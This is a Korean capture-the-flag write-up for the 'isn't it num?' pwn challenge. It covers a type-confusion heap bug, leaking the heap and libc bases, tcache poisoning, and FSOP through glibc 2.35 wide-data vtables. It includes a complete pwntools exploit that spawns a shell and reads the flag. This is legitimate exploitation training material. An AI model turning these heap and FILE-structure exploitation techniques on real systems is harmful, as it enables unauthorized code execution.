[DH] isn't it num? (Feat. FSOP)

Writeup
2025. 8. 8.

Introduction

isn't it num 문제에 대한 writeup입니다.

Binary Analysis

main 함수가 꽤 길게 정의되어 있지만, 잘 살펴보면 결국 input에 따라 데이터를 저장 / 출력 / 합산하는 서비스를 제공하는 것을 알 수 있다.

cmd > 에 넣을 수 있는 옵션은 0, 1, 2, 3이 있다.

idx > 에 넣을 수 있는 값은 0부터 0x0F까지의 값이다.

type > 에 넣을 수 있는 값은 0, 1, 2,..., 11이 있다. 각 type은 데이터의 유형을 정의하는데 아래와 같다.

case 1u:%hhd
case 2u:%hhu
case 3u:%hd
case 4u:%hu
case 5u:%d
case 6u:%u
case 7u:%ld
case 8u:%lu
case 9u:%f
case 0xAu:%lf
case 0xBu: const char **

여기서 11번 옵션에 주목하자. 11번은 string 관련 옵션으로 malloc이 들어 있어 heap exploit의 후보가 될 수 있다. 이후에 11번 옵션을 중심으로 분석을 진행한다.

옵션정리

  • 0: exit() 호출
  • 1: 데이터 저장
  • 2: 데이터 출력
  • 3: 데이터 합산 (idx1에 더해지고 datatype은 더 큰 것을 기준으로 사용된다.)

데이터는 총 16byte의 .bss 공간을 사용한다.


11번 옵션 분석

  • cmd > 1

코드를 확인하면 11번의 경우 string 관련 operation으로 len을 받고 malloc을 통해 메모리를 할당한 후, read를 통해 입력을 받는다. 입력이 len과 같아지거나 \n이 입력될 때까지 계속해서 입력을 받는다.

v3 = v9;
*((_QWORD *)&unk_5068 + 2 * (int)v3) = malloc(v11 + 1);
v12 = 0;
...
if ( v12 >= v11 )
    goto LABEL_2;
read(0, (void *)(*((_QWORD *)&BASE + 2 * (int)v9) + v12), 1u);
if ( *(_BYTE *)(*((_QWORD *)&BASE + 2 * (int)v9) + v12) == 10 )
    break;
++v12;
  • cmd > 2
puts(*((const char **)&BASE + 2 * (int)idx2));

평범하지만...puts를 사용한다. leak의 여지가 있는 부분이다.

  • cmd > 3
v5 = strlen(*((const char **)&BASE + 2 * (int)idx1));
v6 = v5 + strlen(*((const char **)&BASE + 2 * (int)idx2)) + 1;
LODWORD(v5) = idx1;
*((_QWORD *)&BASE + 2 * (int)v5) = realloc(*((void **)&BASE + 2 * (int)idx1), v6);
strcat(*((char **)&BASE + 2 * (int)idx1), *((const char **)&BASE + 2 * (int)idx2));

realloc을 사용하여 idx1에 idx2의 string을 concat한다.

취약점 분석

strlen의 특징으로 string 도중 \0이 들어가면 그 이후 길이는 무시된다. 이를 이용하면 leak가 가능할 것 같다.

한편, 3번 옵션에서 하나는 string, 다른 하나는 숫자로 선택하면 segfault가 발생한다. 이유는 string concat을 위해 숫자에 대한 reference를 구해 strlen, strcat 등의 함수를 호출하기 때문이다. 따라서 숫자로 주소를 입력한 후, 내용을 추가하면 해당 주소에 있는 string을 덮어쓸 수 있다.

Analysis

Arch:     amd64
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

How to Exploit the Vulnerability

문제의 바이너리에서는 free가 사용되지 않는다. 따라서 free를 대신할 수 있는 realloc을 이용하여 exploit을 진행한다. realloc은 메모리의 크기를 조정하는 함수로, 만약 크기를 줄이면 해당 메모리 영역의 일부가 해제된다. 반대로 메모리의 크기를 늘릴 때 이웃한 청크가 사용중이라 같은 자리에서 늘릴 수 없으면 새로운 청크를 할당하고 이전 청크의 포인터를 반환한다. 이러한 특징을 이용하여 realloc을 통해 메모리 영역을 해제하고, 그 영역에 새로운 데이터를 덮어쓰는 방식으로 취약점을 이용할 수 있다.

3번 옵션을 통해서 leak를 발생시키고 다음으로 그것을 바탕으로 aar / aaw를 시도할 것이다.

Leak

add(0, b"A" * 15, 15)
add(1, b"B" * 15, 15)
merge(0, 1)
add(2, b"C" * 1, 1)
HEAP_BASE = u64(show(2).ljust(8, b"\x00")) >> 12 << 12

HEAP_BASE는 어렵지 않게 leak를 할 수 있다.

add(3, b"D" * 0x500, 0x500) # goes to unsorted bin
add(4, b"E" * 0x500, 0x500)
merge(3, 0)

add(5, b"F" * 1, 1)
leak = u64(show(5).ljust(8, b"\x00"))
libc_base = (leak >> 12 << 12) - libc_offset

unsorted bin에 청크를 추가해서 allocate가 발생했을때 unsorted bin에서 청크를 가져오도록 한다.

Getting the Shell

HEAP_BASElibc_base를 아는 상황에서 RCE는 여러방식으로 가능하겠지만, 나는 추가적인 leak이 필요없는 _exit_handler을 이용했다. fs_base의 pointer_guard만 0으로 덮어쓰고 initial 함수를 오버라이트 해주자.

취약점 분석에서 다룬 것과 같이 익스하고자 했으나, 예상보다 맞추어야 하는 조건이 까다로웠다. 그래서 realloc에 대해 조금 더 생각해보니, free된 청크를 realloc하는 상황이 매우 흥미로울 것 같았다. 간단한 C코드를 작성하여 살펴보았다.

#include <stdio.h>

int main(){
    void *ptr_temp = malloc(0x20); // For tcache[idx]->count
    void *ptr = malloc(0x20);
    if (ptr == NULL) {
        perror("malloc failed");
        return -1;
    }

    snprintf((char *)ptr, 0x20, "AAAA");
    printf("Original pointer: %p\n", ptr);
    printf("Data in original: %llx\n", *(unsigned long long *)ptr);

    free(ptr_temp); // Increase free count
    free(ptr); // Free the original pointer

    // Simulate realloc with a larger size
    void *new_ptr = realloc(ptr, 0x20);
    if (new_ptr == NULL) {
        perror("realloc failed");
        free(ptr); // Free the original pointer if realloc fails
        return -1;
    }
    printf("Reallocation successful: %p\n", new_ptr);
    // print fd part
    printf("Data in new pointer: %llx\n", *(unsigned long long *)new_ptr);
    // currupt the fd part to null
    *(unsigned long long *)new_ptr = *(unsigned long long *)ptr_temp;

    void *other_ptr1 = malloc(0x20);
    printf("another malloc 1: %p\n", other_ptr1);
    void *other_ptr2 = malloc(0x20);
    // Expecting segfault
    printf("another malloc 2: %p\n", other_ptr2);

    return 0;
}

예상한 대로 NULL을 레퍼런싱 하면서 segfault가 발생했다. 이를 바탕으로 aaw를 구현하자.

AAW

AAW를 위해서 숫자로 된 address를 병합할 때 \x00을 기준으로 확인한다는 점에서 probing을 통해서 내가 오버라이트할 주소가 \x00이 되도록 설정했다. 아래 코드를 보자.

def probe():
    global p, HEAP_BASE
    p = connect()
    add(0, b"A" * 14 + b"\x00", 15)
    add(1, b"A" * 14 + b"\x00", 15)
    merge(0, 1)
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"idx > ", str(2).encode())
    p.sendlineafter(b"type > ", str(11).encode())
    p.sendlineafter(b"len > ", str(0).encode())
    p.recvuntil(b"value > ")

    HEAP_BASE = u64(show(2).ljust(8, b"\x00")) << 12
    log.info(f"leak: {hex(HEAP_BASE)}")
    if safelink(HEAP_BASE + 0x30) & 0xFF != 0:
        p.close()
        return False
    else:
        log.success(f"Probing successful with [{safelink(HEAP_BASE + 0x30) & 0xFF}].")
        return True

while not probe():
    pass

위처럼 probing을 했고, Safelink시 0x...30 꼴 주소가 \x00이 되도록 했다. 그 이유는 아래의 add(4, b"a" * (len(fakefs) - 1) + b"\x00", len(fakefs))가 저장되는 userdata 영역이 0x...30 꼴이기 때문이다. 곧, 아래 코드에서 4->5 순서로 free 된다면 5가 가리키는 주소는 0x...00으로 끝났다. 이러면 병합할 때 주소를 넣기 매우 쉬워진다.

add(4, b"a" * (len(fakefs) - 1) + b"\x00", len(fakefs))
add(5, b"F" * (len(fakefs) - 1) + b"\x00", len(fakefs))
add(6, p64(safelink(libc_base + stdout)), 8)
add(7, str(HEAP_BASE + 0x320 + 0x250 + 0x10).encode(), type=8)

merge(4, 0)
merge(5, 0)
merge(7, 6)

HEAP_BASE + 0x320 + 0x250 + 0x10 부분은 5번 인덱스의 주소이다.

FSOP

원래는 글 최하단에 첨부된 것과 같이 initial 함수 leak 후 pointer_guard를 획득한 후 initialcxa flavor로 /bin/sh를 넣어주는 방식을 사용했다. 굉장히 세심한 힙 조작이 필요했고, 로컬에서는 성공적으로 쉘을 획득할 수 있었다. 그러나 server을 올려서 익스플로잇을 시도할 때는 마지막에서 SEGFAULT가 발생했다. alignment 문제로 예상되지만, 사실상 디버깅이 불가능해서 방향을 바꾸어 FSOP를 사용하기로 했다.

혹시라도 이 문제를 해결하신 분이 계시다면 알려주시면 감사하겠습니다! 이메일 주세요!


Preview: Wide data의 구조

libc>=2.35에서 FSOP는 wide data를 중심으로 진행된다.

struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;	/* Current read pointer */
  wchar_t *_IO_read_end;	/* End of get area. */
  wchar_t *_IO_read_base;	/* Start of putback+get area. */
  wchar_t *_IO_write_base;	/* Start of put area. */
  wchar_t *_IO_write_ptr;	/* Current put pointer. */
  wchar_t *_IO_write_end;	/* End of put area. */
  wchar_t *_IO_buf_base;	/* Start of reserve area. */
  wchar_t *_IO_buf_end;		/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;	/* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;	/* Pointer to first valid character of
				   backup area */
  wchar_t *_IO_save_end;	/* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable; // our target!
};

이전 FSOP 글에서는 libc>=2.35에서의 익스플로잇 방법을 다루지 않았었다. 이번에는 실행환경이 ubuntu 22.04로 libc 2.35가 설치되어 있어, 해당 버전에서의 익스플로잇 방법을 다루고자 한다. libc 2.35에서 FSOP의 핵심은 "어느 vtable이 vtable check을 통과하는가"이다.

#define _IO_JUMPS_FILE_plus(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
#define _IO_CHECK_WIDE(THIS) \
  (_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data) != NULL)

위 세 JUMP 중에 하나를 골라야 한다. _IO_CAST_FIELD_ACCESS는 vtable을 실제로 offset을 기반으로 변환해주는 매크로로 이 매크로를 통해서 vtable을 가져올 수 있다. _IO_JUMPS_FILE_plus는 쓰이는 곳 전부에서 IO_validate_vtable이 호출된다. _IO_CHECK_WIDE는 함수 호출에는 적합하지 않다. 따라서 남은 것은 _IO_WIDE_JUMPS이다.

깊게 살펴보자

#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
...
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define WJUMP2(FUNC, THIS, X1, X2) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
#define WJUMP3(FUNC, THIS, X1,X2,X3) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1,X2, X3)

좋다. 위에 WJUMP가 쓰이는 곳을 찾아주면 된다. 아래는 단순히 분석을 위해 WJUMP가 쓰이는 곳을 모아놓은 것이다.

#define _IO_WUNDERFLOW(FP) WJUMP0 (__underflow, FP)
#define _IO_WUFLOW(FP) WJUMP0 (__uflow, FP)
#define _IO_WSYNC(FP) WJUMP0 (__sync, FP)
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
#define _IO_WSYSCLOSE(FP) WJUMP0 (__close, FP)
#define _IO_WSHOWMANYC(FP) WJUMP0 (__showmanyc, FP)
#define _IO_WFINISH(FP) WJUMP1 (__finish, FP, 0)
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define _IO_WPBACKFAIL(FP, CH) WJUMP1 (__pbackfail, FP, CH)
#define _IO_WSYSSTAT(FP, BUF) WJUMP1 (__stat, FP, BUF)
#define _IO_WIMBUE(FP, LOCALE) WJUMP1 (__imbue, FP, LOCALE)
#define _IO_WXSPUTN(FP, DATA, N) WJUMP2 (__xsputn, FP, DATA, N)
#define _IO_WXSGETN(FP, DATA, N) WJUMP2 (__xsgetn, FP, DATA, N)
#define _IO_WSEEKPOS(FP, POS, FLAGS) WJUMP2 (__seekpos, FP, POS, FLAGS)
#define _IO_WSETBUF(FP, BUFFER, LENGTH) WJUMP2 (__setbuf, FP, BUFFER, LENGTH)
#define _IO_WSYSREAD(FP, DATA, LEN) WJUMP2 (__read, FP, DATA, LEN)
#define _IO_WSYSWRITE(FP, DATA, LEN) WJUMP2 (__write, FP, DATA, LEN)
#define _IO_WSYSSEEK(FP, OFFSET, MODE) WJUMP2 (__seek, FP, OFFSET, MODE)
#define _IO_WSEEKOFF(FP, OFF, DIR, MODE) WJUMP3 (__seekoff, FP, OFF, DIR, MODE)

Recap: wide data 구조체는 내부에 vtable을 가지고 있는데 그 vtable로 호출한 함수에 대해서는 _IO_validate_vtable이 호출되지 않는다는 것을 이용하는 중이다.

저 함수들 중 _IO_WDOALLOCATE 함수의 reference를 찾아보자.

void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
		     fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

그리고 _IO_wdoallocbuf가 호출되는 곳을 찾아보면 _IO_wfile_underflow_IO_wfile_overflow가 있다. 이 둘 중 하나를 evoke 하면 된다.

_IO_wfile_overflow를 타깃으로 하고 익스를 설계해보겠다.


  1. xsputn의 위치를 _IO_wfile_overflow로 변경해서 wfile 접근
  2. _IO_FILE_wide_data를 fake wide data로 변경
  3. fake wide data의 vtable을 조작해서 _IO_WDOALLOCATEwin 함수를 호출하도록 한다.
  4. fake wide data를 적절하게 조작해준다.

자세한 offset은 r2를 이용해서 구했다. 아래 정의들을 참고하자.

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_new_file_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
  JUMP_INIT(xsputn, _IO_wfile_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_wfile_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
  JUMP_INIT(doallocate, _IO_wfile_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_wfile_jumps)
#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK    0xFFFF0000
#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED        0x0002
#define _IO_NO_READS          0x0004 /* Reading not allowed.  */
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
#define _IO_EOF_SEEN          0x0010
#define _IO_ERR_SEEN          0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */
#define _IO_LINKED            0x0080 /* In the list of all open files.  */
#define _IO_IN_BACKUP         0x0100
#define _IO_LINE_BUF          0x0200
#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
#define _IO_IS_FILEBUF        0x2000
                           /* 0x4000  No longer used, reserved for compat.  */
#define _IO_USER_LOCK         0x8000
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
	{
	  _IO_wdoallocbuf (f);
      ...
    }
    ...
    }
    ...
}
void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
		     fp->_wide_data->_shortbuf + 1, 0);
}
struct _IO_wide_data  // total size = 0xe8
{
  wchar_t *_IO_read_ptr;	/* Current read pointer */
  wchar_t *_IO_read_end;	/* End of get area. */
  wchar_t *_IO_read_base;	/* Start of putback+get area. */
  wchar_t *_IO_write_base;	/* Start of put area. */
  wchar_t *_IO_write_ptr;	/* Current put pointer. */
  wchar_t *_IO_write_end;	/* End of put area. */
  wchar_t *_IO_buf_base;	/* Start of reserve area. */
  wchar_t *_IO_buf_end;		/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;	/* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;	/* Pointer to first valid character of
				   backup area */
  wchar_t *_IO_save_end;	/* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;
};

fs = FileStructure()
# fs will be passed as an rdi => use for system's argument!
fs.flags = 0x00000000FBAD2080 | int.from_bytes(b";sh", "little") << (4 * 8)
fs._IO_write_base = 0
fs._IO_buf_base = 0
fs._lock = libc_base + bss + 0x1000
fs.vtable = libc_base + wfile_jumps + 0x18 - 0x38
fs._wide_data = libc_base + stdout + 0x150
wide_data = b""
wide_data += p64(0)  # read ptr
wide_data += p64(0)  # read end
wide_data += p64(0)  # read base
wide_data += p64(0)  # write base
wide_data += p64(0)  # write ptr
wide_data += p64(0)  # write end
wide_data += p64(0)  # buf base
wide_data += p64(0)  # buf end
wide_data += p64(libc_base + system_offset)  # save base 0x40
wide_data += b"\x00" * (0xE0 - len(wide_data))
wide_data += p64(libc_base + stdout + 0x150 + 0x40 - 0x68)

fakefs = b""
fakefs += bytes(fs)
fakefs += b"\x00" * (0x150 - len(fakefs))  # padding to 0x150
fakefs += wide_data

Troubleshooting

  • More on _dl_fini: dl_fini는 프로그램 종료 시 호출되는 함수로, 우분투 버전이 낮은 경우에만 익스가 가능한 줄 알았으나.....세상에나 ((fini_t) array[i]) ();가 호출되는 부분이 있었다. 이 부분을 활용하여 aaw 한 번으로도 익스가 가능했다.

  • Glibc GOT overwrite is always an option: libc의 strlen.got를 덮어쓰는 방법도 있다. 이미 방법을 알고는 있으나, 적용해본적이 없어서, (그리고 _exit_handler에 꽃혀서...) 사용하지 않았다.

  • Bad luck on _exit_handler: 아래와 같이 2회 aaw를 시도하기 위해 갖은 노력을 했다. 결국 1회 aaw로 끝냈지만, 서버에서도 되었다면 아래처럼 끝냈을 것이다. 나의 경우 probing을 통해서 원하는 타깃 주소가 시작이 \x00이도록 설정해서 aaw를 쉽게 할 수 있도록 했다. 이것을 2회 반복하려면 주소를 정확히 맞추어야 하는데, 이것이 상당히 까다로웠다.

from pwn import *

# context.log_level = "debug"
context.arch = "amd64"
# context.terminal = ["tmux", "splitw", "-h"]

WORKDIR = "./isntitnum"
EXECUTABLE = f"{WORKDIR}/problem/deploy/prob"

HOST = "localhost"
PORT = 7138

lelf = ELF(f"{WORKDIR}/problem/libc.so.6")


def connect():
  if PORT is None:
      return process(EXECUTABLE)
  else:
      return remote(HOST, PORT)


def safelink(addr):
  return addr ^ (HEAP_BASE >> 12) & 0xFFFFFFFFFFFFFFFF


def mangle(addr):
  addr = (addr ^ PTR_GUARD) & 0xFFFFFFFFFFFFFFFF
  return rol(addr, 17)


def demangle(addr):
  addr = ror(addr, 17)
  addr = (addr ^ PTR_GUARD) & 0xFFFFFFFFFFFFFFFF
  return addr


def add(idx, value, len=0, type=11):
  p.sendlineafter(b"> ", b"1")
  p.sendlineafter(b"idx > ", str(idx).encode())
  p.sendlineafter(b"type > ", str(type).encode())
  if type == 11:
      p.sendlineafter(b"len > ", str(len).encode())
      p.sendafter(b"value > ", value)
  else:
      p.sendlineafter(b"value > ", value)


def show(idx):
  p.sendlineafter(b"> ", b"2")
  p.sendlineafter(b"idx > ", str(idx).encode())
  return p.recvuntil(b"\ncmd", drop=True)


def merge(idx1, idx2):
  p.sendlineafter(b"> ", b"3")
  p.sendlineafter(b"idx1 > ", str(idx1).encode())
  p.sendlineafter(b"idx2 > ", str(idx2).encode())
  return p.recvuntil(b"cmd", drop=True)


def probe():
  global p, HEAP_BASE
  p = connect()
  add(0, b"A" * 14 + b"\x00", 15)
  add(1, b"A" * 14 + b"\x00", 15)
  merge(0, 1)
  p.sendlineafter(b"> ", b"1")
  p.sendlineafter(b"idx > ", str(2).encode())
  p.sendlineafter(b"type > ", str(11).encode())
  p.sendlineafter(b"len > ", str(0).encode())
  p.recvuntil(b"value > ")

  HEAP_BASE = u64(show(2).ljust(8, b"\x00")) << 12
  log.info(f"leak: {hex(HEAP_BASE)}")
  if safelink(HEAP_BASE + 0xE0) & 0xFF != 0:
      # log.warn(
      #     f"Probing failed with [{hex(safelink(HEAP_BASE + 0x300) & 0xFF)}]. Retrying..."
      # )
      p.close()
      return False
  else:
      log.success(f"Probing successful with [{safelink(HEAP_BASE + 0x300) & 0xFF}].")
      return True


p: remote = None

HEAP_BASE = 0
PTR_GUARD = 0
libc_offset = -0x21A000
# fs_base_offset = -0x28C0
initial_offset = 0x21AF00
dl_fini_offset = 0x239040
system_offset = lelf.symbols["system"]
binsh_offset = lelf.search(b"/bin/sh").__next__()
og = [0xEBCE2, 0x10D9C2, 0x10D9CA]

while not probe():
  continue

# gdb.attach(p)

add(0xE, b"D" * 0x1000, 0x1000)
add(0xF, b"E" * 0x1000, 0x1000)
merge(0xE, 0)

add(3, b"\xe0" * 1, 1)
leak = u64(show(3).ljust(8, b"\x00"))
libc_base = (leak >> 12 << 12) + libc_offset
log.info(f"libc_base: {hex(libc_base)}")

# tcache poisoning
add(0xD, str(HEAP_BASE + 0x330).encode(), type=8)
add(4, b"G" * 0x1D, 0x1D)
add(5, b"/bin/sh" + b"\x00", 0x8)
add(6, p64(safelink(libc_base + initial_offset + 0x0)) + b"\x00" * 0xC0, 0xC8)
print(f"target:({hex(safelink(libc_base + initial_offset + 0x0))})")
merge(0, 1)  # is 0x290
merge(4, 1)  # next = 0x290
merge(0xD, 6)  # Free idx 4
add(7, b"A" * 0x1D, 0x1D)
add(8, b"A" * 0x18, 0x18)
mld = u64(show(8).replace(b"A" * 0x18, b""))
print(hex(mld))
PTR_GUARD = demangle(mld) ^ (libc_base + dl_fini_offset) & 0xFFFFFFFFFFFFFFFF

# one more time
add(0xC, str(HEAP_BASE + 0x520).encode(), type=8)
add(9, b"X" * 0x2E + b"\x00", 0x2F)
merge(3, 1)
merge(3, 1)
merge(3, 1)
merge(5, 0)

merge(9, 1)
merge(3, 1)
merge(3, 1)
merge(0xC, 6)  # Free idx 0xC

add(10, b"Y" * 0x2E + b"\x00", 0x2F)

payload = b""
payload += p64(0)
payload += p64(2)
payload += p64(4)
payload += p64(mangle(libc_base + system_offset))
payload += p64(libc_base + binsh_offset)
payload += b"\x00" * (0x2F - len(payload))
add(0xB, payload, 0x2F)


p.sendlineafter(b"cmd > ", b"0")
p.sendline(b"cat flag")
p.interactive()

[DH] isn't it num? (Feat. FSOP)